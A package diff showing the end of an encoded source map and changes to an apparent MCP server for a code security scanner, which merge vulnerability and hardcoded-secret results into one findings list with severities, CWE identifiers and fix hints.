Y,SAAS,IAAI,CAAC,CAAC;QACzC,CAAC;QAED,IAAI,WAAW,EAAE,CAAC;YAChB,OAAO;gBACL,OAAO,EAAE,KAAK;gBACd,QAAQ,EAAE,aAAa;gBACvB,QAAQ,EAAE,aAAa;gBACvB,IAAI,EAAE,SAAS;gBACf,OAAO,EAAE,mBAAmB,aAAa,iBAAiB,SAAS,kCAAkC,MAAM,CAAC,IAAI,CAAC,IAAI,CAAC,oDAAoD;aAC3K,CAAC;QACJ,CAAC;QAED,IAAI,aAAa,GAAG,CAAC,EAAE,CAAC;YACtB,OAAO;gBACL,OAAO,EAAE,IAAI;gBACb,QAAQ,EAAE,aAAa;gBACvB,QAAQ,EAAE,aAAa;gBACvB,IAAI,EAAE,SAAS;gBACf,OAAO,EAAE,mCAAmC,aAAa,oBAAoB,aAAa,KAAK,SAAS,IAAI;aAC7G,CAAC;QACJ,CAAC;QAED,OAAO;YACL,OAAO,EAAE,IAAI;YACb,QAAQ,EAAE,CAAC;YACX,QAAQ,EAAE,CAAC;YACX,IAAI,EAAE,CAAC;YACP,OAAO,EAAE,mCAAmC;SAC7C,CAAC;IACJ,CAAC;IAAC,OAAO,KAAK,EAAE,CAAC;QACf,OAAO;YACL,OAAO,EAAE,IAAI;YACb,QAAQ,EAAE,CAAC;YACX,QAAQ,EAAE,CAAC;YACX,IAAI,EAAE,CAAC;YACP,OAAO,EAAE,6BAA6B,KAAK,YAAY,KAAK,CAAC,CAAC,CAAC,KAAK,CAAC,OAAO,CAAC,CAAC,CAAC,eAAe,EAAE;SACjG,CAAC;IACJ,CAAC;AACH,CAAC;AAED;;GAEG;AACH,MAAM,CAAC,KAAK,UAAU,kBAAkB,CAAC,WAAmB,GAAG;IAC7D,IAAI,CAAC;QACH,MAAM,QAAQ,GAAG,GAAG,QAAQ,sBAAsB,CAAC;QACnD,MAAM,UAAU,GAAG;;;;CAItB,CAAC;QAEE,MAAM,SAAS,CAAC,QAAQ,EAAE,UAAU,CAAC,CAAC;QACtC,MAAM,SAAS,CAAC,YAAY,QAAQ,EAAE,CAAC,CAAC;QAExC,OAAO,CAAC,GAAG,CAAC,wCAAwC,CAAC,CAAC;QACtD,OAAO,IAAI,CAAC;IACd,CAAC;IAAC,OAAO,KAAK,EAAE,CAAC;QACf,OAAO,CAAC,KAAK,CAAC,oCAAoC,EAAE,KAAK,CAAC,CAAC;QAC3D,OAAO,KAAK,CAAC;IACf,CAAC;AACH,CAAC;AAED,KAAK,UAAU,SAAS,CAAC,IAAY,EAAE,OAAe;IACpD,MAAM,EAAE,SAAS,EAAE,GAAG,MAAM,MAAM,CAAC,aAAa,CAAC,CAAC;IAClD,MAAM,SAAS,CAAC,IAAI,EAAE,OAAO,CAAC,CAAC;AACjC,CAAC"}
package/mcp/index.js CHANGED
@@ -117,17 +117,33 @@ server.setRequestHandler(CallToolRequestSchema, async (request) => {
117
117
  low: result.summary.low,
118
118
  };
119
119
 
120
- const findings = result.findings.map(f => ({
121
- type: f.type,
122
- severity: f.severity,
123
- message: f.message,
124
- source: f.source,
125
- sink: f.sink,
126
- cwe: f.cwe,
127
- line: f.line,
128
- evidence: f.evidence,
129
- fix: f.fix,
130
- }));
120
+ // Combine vulnerabilities and secrets
121
+ const allFindings = [
122
+ ...result.vulnerabilities.map(v => ({
123
+ type: v.category,
124
+ severity: v.severity,
125
+ message: `${v.finding} vulnerability detected`,
126
+ source: v.path[0] || 'unknown',
127
+ sink: v.path[v.path.length - 1] || 'unknown',
128
+ cwe: v.cwe,
129
+ line: v.location.line,
130
+ evidence: v.evidence.filter(e => e.line).map(e => `${e.type} at line ${e.line}`).join(', ') || 'No evidence',
131
+ fix: 'Use proper sanitization (parameterized queries, input validation, etc.)',
132
+ })),
133
+ ...result.secrets.map(s => ({
134
+ type: 'secret',
135
+ severity: 'high',
136
+ message: `${s.type} detected`,
137
+ source: 'hardcoded',
138
+ sink: 'code',
139
+ cwe: 'CWE-798',
140
+ line: s.line,
141
+ evidence: s.match,
142
+ fix: 'Use environment variables',
143
+ }))
144
+ ];
145
+
146
+ const findings = allFindings;
131
147
 
132
148
  return {
133
149
  content: [
@@ -158,17 +174,29 @@ server.setRequestHandler(CallToolRequestSchema, async (request) => {
158
174
  critical: result.summary.critical,
159
175
  high: result.summary.high,
160
176
  medium: result.summary.medium,
161
- low: result.summary.low,
162
177
  };
163
178
 
164
- const findings = result.findings.map(f => ({
165
- type: f.type,
166
- severity: f.severity,
167
- message: f.message,
168
- line: f.line,
169
- evidence: f.evidence,
170
- fix: f.fix,
171
- }));
179
+ // Combine vulnerabilities and secrets
180
+ const allFindings = [
181
+ ...result.vulnerabilities.map(v => ({
182
+ type: v.category,
183
+ severity: v.severity,
184
+ message: `${v.finding} vulnerability detected`,
185
+ line: v.location.line,
186
+ evidence: v.evidence.filter(e => e.line).map(e => `${e.type} at line ${e.line}`).join(', ') || 'No evidence',
187
+ fix: 'Use proper sanitization (parameterized queries, input validation, etc.)',
188
+ })),
189
+ ...result.secrets.map(s => ({
190
+ type: 'secret',
191
+ severity: 'high',
192
+ message: `${s.type} detected`,
193
+ line: s.line,
194
+ evidence: s.match,
195
+ fix: 'Use environment variables',
196
+ }))
197
+ ];
198
+
199
+ const findings = allFindings;
172
200
 
173
201
  return {
174
202
  content: [